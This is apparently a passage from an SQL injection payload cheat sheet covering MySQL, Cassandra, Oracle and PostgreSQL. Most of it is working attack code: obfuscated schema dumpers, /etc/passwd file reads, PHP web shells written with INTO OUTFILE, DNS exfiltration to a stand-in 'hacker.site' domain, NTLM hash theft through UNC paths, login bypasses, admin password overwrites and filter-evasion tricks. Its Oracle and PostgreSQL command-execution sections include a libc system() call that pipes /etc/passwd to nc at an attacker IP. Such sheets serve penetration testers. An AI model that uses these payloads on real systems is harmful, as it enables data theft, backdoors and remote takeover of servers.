666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204
f6620446174616261736573203a3a20,(select count(*) from
information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,conca
t(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from
information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e742063
6f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select
concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata
where schema_name>@sc order by schema_name limit
1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,
(select count(*) from information_Schema.tables where
table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20
,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from
information_Schema.tables where
table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3
e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select
concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where
table_schema=@sc and table_name>@t order by table_name limit
1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select
count(*) from information_Schema.columns where
table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchm
ark((Select count(*) from information_schema.columns where table_schema=@sc and
table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e
,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from
information_schema.columns where table_schema=@sc and table_name=@t and
column_name>@c order by column_name LIMIT
1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c
62723e)+

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SQLpayloads A.T6 M.S666.md 7/17/2023

-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420
636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c
2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e44617461626173
65207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723
d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c
666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**
N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e2
03c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f532
07e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2
223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666
f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e5555494420
7e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363
930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M
**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d7020446972656374
6f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d22233963
36623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_mac
hine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d2
07e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f7
23d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c6
2723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207
e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d22236133
32363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c627
23e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GL
OBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469
726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c6
2723e3c666f6e7420636f6c6f723d22626c7565223e,
(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),
(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(tab
le_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@
a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,tabl
e_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,
0x3c62723e))))a))+

-- sharik
(select(@a)from(select(@a:=0x00),
(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d61746
96f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c
62723e))))a)

MYSQL Current queries

This table can list all operations that DB is performing at the moment.

union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.

union select 1,(select(@)from(select(@:=0x00),
(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,st
ate,0x3a,info))))a),3,4 #

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SQLpayloads A.T6 M.S666.md 7/17/2023

MYSQL Read content of a file

Need the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is
running with the --secure-file-priv option so it cannot execute this statement

' UNION ALL SELECT LOAD_FILE('/etc/passwd') --

UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

If you are root on the database, you can re-enable the LOAD_FILE using the following query

GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#

MYSQL Write a shell

Into outfile method

[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile

"C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?
php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile
'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into
OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Into dumpfile method

[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program

Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO
DUMPFILE '/var/www/html/images/shell.php';

MYSQL Truncation
In MYSQL "admin " and "admin" are the same. If the username column in the database has a character-limit
the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a
string with 21 characters the last 1 character will be removed.

`username` varchar(20) not null

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SQLpayloads A.T6 M.S666.md 7/17/2023

Payload: username = "admin a"

MYSQL Fast Exploitation

Requirement: MySQL >= 5.7.22

Use json_arrayagg() instead of group_concat() which allows less symbols to be displayed

group_concat() = 1024 symbols

json_arrayagg() > 16,000,000 symbols

SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from

INFORMATION_SCHEMA.TABLES;

MYSQL UDF command execution

First you need to check if the UDF are installed on the server.

$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so

Then you can use functions such as sys_exec and sys_eval.

$ mysql -u root -p mysql

Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+

MYSQL Out of band

select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';

select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt

DNS exfiltration

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
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SQLpayloads A.T6 M.S666.md 7/17/2023

UNC Path - NTLM hash stealing

select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;

Cassandra Injection
Apache Cassandra is a free and open-source distributed wide column store NoSQL database
management system

Summary
Cassandra comment
Cassandra - Login Bypass
Login Bypass 0
Login Bypass 1

Cassandra comment

/* Cassandra Comment */

Cassandra - Login Bypass

Login Bypass 0

username: admin' ALLOW FILTERING; %00

password: ANY

Login Bypass 1

username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

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SQLpayloads A.T6 M.S666.md 7/17/2023

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW
FILTERING;

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a
row that already exists in the table. We can use this to change the admin password by:

Inject using payload:

[email protected]", "bcrypt_hash_of_qwerty"), ("[email protected]",
"bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty"
--

The query would look like this:

INSERT INTO users (email, password) VALUES ("[email protected]",
"bcrypt_hash_of_qwerty"), ("[email protected]", "bcrypt_hash_of_qwerty") ON
DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ",
"bcrypt_hash_of_your_password_input");

This query will insert a row for the user “[email protected]”. It will
also insert a row for the user “[email protected]”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL
to update the `password` column of the already existing row to
"bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “[email protected]” and the password
“qwerty”!

Oracle SQL Injection

Summary
Oracle SQL Default Databases
Oracle SQL Comments
Oracle SQL Version
Oracle SQL Hostname
Oracle SQL Database Name
Oracle SQL Database Credentials
Oracle SQL List databases
Oracle SQL List columns
Oracle SQL List tables
Oracle SQL Error Based
Oracle SQL Blind
Oracle SQL Time Based
Oracle SQL Command execution

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Oracle SQL Default Databases

Name Description

SYSTEM Available in all versions

SYSAUX Available in all versions

Oracle SQL Comments

Type Description

-- - SQL comment

Oracle SQL Version

SELECT user FROM dual UNION SELECT * FROM v$version

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

Oracle SQL Hostname

SELECT host_name FROM v$instance; (Privileged)

SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;

Oracle SQL Database Name

SELECT global_name FROM global_name;

SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;

Oracle SQL Database Credentials

Query Description

SELECT username FROM all_users; Available on all versions

SELECT name, password from sys.user$; Privileged, <= 10g

SELECT name, spare4 from sys.user$; Privileged, <= 11g

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Oracle SQL List Databases

SELECT DISTINCT owner FROM all_tables;

Oracle SQL List Columns

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner =
'foo';

Oracle SQL List Tables

SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';

Oracle SQL Error based

Description Query

Invalid HTTP SELECT utl_inaddr.get_host_name((select banner from v$version where

Request rownum=1)) FROM dual

SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

CTXSYS.DRITHSX.SN
FROM dual

SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where

Invalid XPath
rownum=1),user,user) FROM dual

SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM

Invalid XML
sys.dual')) FROM dual

SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',')

Invalid XML
FROM all_users

SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM

SQL Error
(SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))

Oracle SQL Blind

Description Query

Version is 12.2 SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';

Subselect is enabled SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)

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Description Query

Table log_table exists SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);

Column message exists in SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE'
table log_table AND table_name = 'LOG_TABLE';

First letter of first message SELECT message FROM log_table WHERE rownum=1 AND message LIKE
is t 't%';

Oracle SQL Time based

AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

Oracle SQL Command Execution

ODAT (Oracle Database Attacking Tool)

Oracle Java Execution

List Java privileges

select * from dba_java_policy

select * from user_java_policy

Grant privileges

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL

FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission',
'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission',
'readFileDescriptor', '');

Execute commands
10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL()

SELECT
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\sys
tem32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-
c','/bin/ls>/tmp/OUT2.LST') from dual

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11g R1 and R2: DBMS_JAVA.RUNJAVA()

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c

/bin/ls>/tmp/OUT.LST') FROM DUAL

Oracle Java Class

/* create Java class */

BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as
import java.io.*; public class PwnUtil{ public static String runCmd(String args){
try{ BufferedReader myReader = new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp,
str = "";while ((stemp = myReader.readLine()) != null) str += stemp +
"\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}
public static String readFile(String filename){ try{ BufferedReader myReader = new
BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp =
myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;}
catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2)
return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return
String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

or (hex encoded)

/* create Java class */

SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin
execute immediate
utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e642063
6f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d70
6f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c6963
2073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665
726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e
70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e65786563
2861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c20
7374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d
6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b20726574
75726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f5374
72696e6728293b7d7d7d''));
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EXECUTE IMMEDIATE
utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374
696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e
207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e
72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b''));
end;')) results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

WAF Bypass
White spaces alternatives

No Space (%20) - bypass using whitespace alternatives

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

Whitespace alternatives by DBMS

DBMS ASCII characters in hexadicimal

SQLite3 0A, 0D, 0C, 09, 20

MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20

01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
MySQL 3
1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0

PostgreSQL 0A, 0D, 0C, 09, 20

Oracle 11g 00, 0A, 0D, 0C, 09, 20

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DBMS ASCII characters in hexadicimal

01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
MSSQL
1A, 1B, 1C, 1D, 1E, 1F, 20

Example of query where spaces were replaced by ascii characters above 0x80

♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼

No Comma

Bypass using OFFSET, FROM and JOIN

LIMIT 0,1 -> LIMIT 1 OFFSET 0

SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT
3)c JOIN (SELECT 4)d

No Equal

Bypass using LIKE/NOT IN/IN/BETWEEN

?id=1 and substring(version(),1,1)like(5)

?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4

Case modification

Bypass using uppercase/lowercase (see keyword AND)

?id=1 AND 1=1#

?id=1 AnD 1=1#
?id=1 aNd 1=1#

Bypass using keywords case insensitive / Bypass using an equivalent operator

AND -> &&

OR -> ||
= -> LIKE,REGEXP, BETWEEN, not < and not >
> X -> not between 0 and X
WHERE -> HAVING

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Obfuscation by DBMS

MySQL

1.UNION SELECT 2
3.2UNION SELECT 2
1e0UNION SELECT 2
SELECT\N/0.e3UNION SELECT 2
1e1AND-0.0UNION SELECT 2
1/*!12345UNION/*!31337SELECT/*!table_name*/
{ts 1}UNION SELECT.`` 1.e.table_name
SELECT $.`` 1.e.table_name
SELECT{_ .``1.e.table_name}
SELECT LightOS . ``1.e.table_name LightOS
SELECT information_schema 1337.e.tables 13.37e.table_name
SELECT 1 from information_schema 9.e.table_name

MSSQL

.1UNION SELECT 2
1.UNION SELECT.2alias
1e0UNION SELECT 2
1e1AND-1=0.0UNION SELECT 2
SELECT 0xUNION SELECT 2
SELECT\UNION SELECT 2
\1UNION SELECT 2
SELECT 1FROM[table]WHERE\1=\1AND\1=\1
SELECT"table_name"FROM[information_schema].[tables]

Oracle

1FUNION SELECT 2
1DUNION SELECT 2
SELECT 0x7461626c655f6e616d65 FROM all_tab_tables
SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables

More MySQL specific

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information_schema.tables alternative

select * from mysql.innodb_table_stats;

+----------------+-----------------------+---------------------+--------+---------
-------------+--------------------------+
| database_name | table_name | last_update | n_rows |
clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+---------
-------------+--------------------------+
| Test | guestbook | 2023-01-19 21:02:57 | 0 |
1 | 0 |
| Test | users | 2023-01-19 21:03:07 | 5 |
1 | 0 |
...
+----------------+-----------------------+---------------------+--------+---------
-------------+--------------------------+

mysql> show tables in Test;

+----------------+
| Tables_in_Test |
+----------------+
| guestbook |
| users |
+----------------+

Version Alternative

mysql> select @@innodb_version;

+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+

mysql> select @@version;

+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();

+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

WAF bypass for MySQL using scientific notation

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Blocked

' or ''='

Working

' or 1.e('')='

Obfuscated query

1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1

1.e,1 1.e)1.e)1.e) = 70 or'1'='2

Labs
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
SQL injection vulnerability allowing login bypass
SQL injection with filter bypass via XML encoding
SQL Labs

PostgreSQL injection
Summary
PostgreSQL Comments
PostgreSQL version
PostgreSQL Current User
PostgreSQL List Users
PostgreSQL List Password Hashes
PostgreSQL List Database Administrator Accounts
PostgreSQL List Privileges
PostgreSQL Check if Current User is Superuser
PostgreSQL database name
PostgreSQL List databases
PostgreSQL List tables
PostgreSQL List columns
PostgreSQL Error Based
PostgreSQL XML Helpers
PostgreSQL Blind
PostgreSQL Time Based
PostgreSQL Stacked query
PostgreSQL File Read

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PostgreSQL File Write

PostgreSQL Command execution
CVE-2019–9193
Using libc.so.6
Bypass Filter

PostgreSQL Comments

--
/**/

PostgreSQL chain injection points symbols

; #Used to terminate a SQL command. The only place it can be used within a
statement is within a string constant or quoted identifier.
|| #or statement

# usage examples:
/?whatever=1;(select 1 from pg_sleep(5))
/?whatever=1||(select 1 from pg_sleep(5))

PostgreSQL Version

SELECT version()

PostgreSQL Current User

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

PostgreSQL List Users

SELECT usename FROM pg_user

PostgreSQL List Password Hashes

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SELECT usename, passwd FROM pg_shadow

PostgreSQL List Database Administrator Accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE

PostgreSQL List Privileges

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

PostgreSQL Check if Current User is Superuser

SHOW is_superuser;
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;

PostgreSQL Database Name

SELECT current_database()

PostgreSQL List Database

SELECT datname FROM pg_database

PostgreSQL List Tables

SELECT table_name FROM information_schema.tables

PostgreSQL List Columns

SELECT column_name FROM information_schema.columns WHERE table_name='data_table'

PostgreSQL Error Based

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,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||
(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr
(126)+as+nUmeRiC)--
,cAsT(chr(126)||
(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+
lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||
(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeR
iC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1

' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET
data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE
table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as
int) and '1'='1

PostgreSQL XML helpers

select query_to_xml('select * from pg_user',true,true,''); -- returns all the

results as a single xml row

The query_to_xml above returns all the results of the specified query as a single result. Chain this with the
PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to
one result.

select database_to_xml(true,true,''); -- dump the current database to XML

select database_to_xmlschema(true,true,''); -- dump the current db to an XML
schema

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might
cause a slow down or denial of service condition.

PostgreSQL Blind

' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK

' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO

PostgreSQL Time Based

Identify time based

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select 1 from pg_sleep(5)

;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))

Database dump time based

select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end

from pg_database limit 1

Table dump time based

select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0)

end from information_schema.tables limit 1

columns dump time based

select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end

from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end
from table_name where column_name='value' limit 1

AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))

AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))

PostgreSQL Stacked Query

Use a semi-colon ";" to add another query

http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--

PostgreSQL File Read

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);

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NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer
versions (as of this commit) will allow reading any file/filepath for super users or users in the
default_role_read_server_files group.

CREATE TABLE temp(t TEXT);

COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;

SELECT lo_import('/etc/passwd'); -- will create a large object from the file and
return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data

PostgreSQL File Write

CREATE TABLE pentestlab (t TEXT);

INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';

Or as one line:

COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';

SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large

object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at
offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

PostgreSQL Command execution

CVE-2019–9193

Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute
manually the following SQL queries.

DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to
use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the

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command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY
FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table

Using libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-

gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

Bypass Filter

Quotes

Using CHR

SELECT CHR(65)||CHR(66)||CHR(67);

Using Dollar-signs ( >= version 8 PostgreSQL)

SELECT $$This is a string$$

SELECT $TAG$This is another string$TAG$

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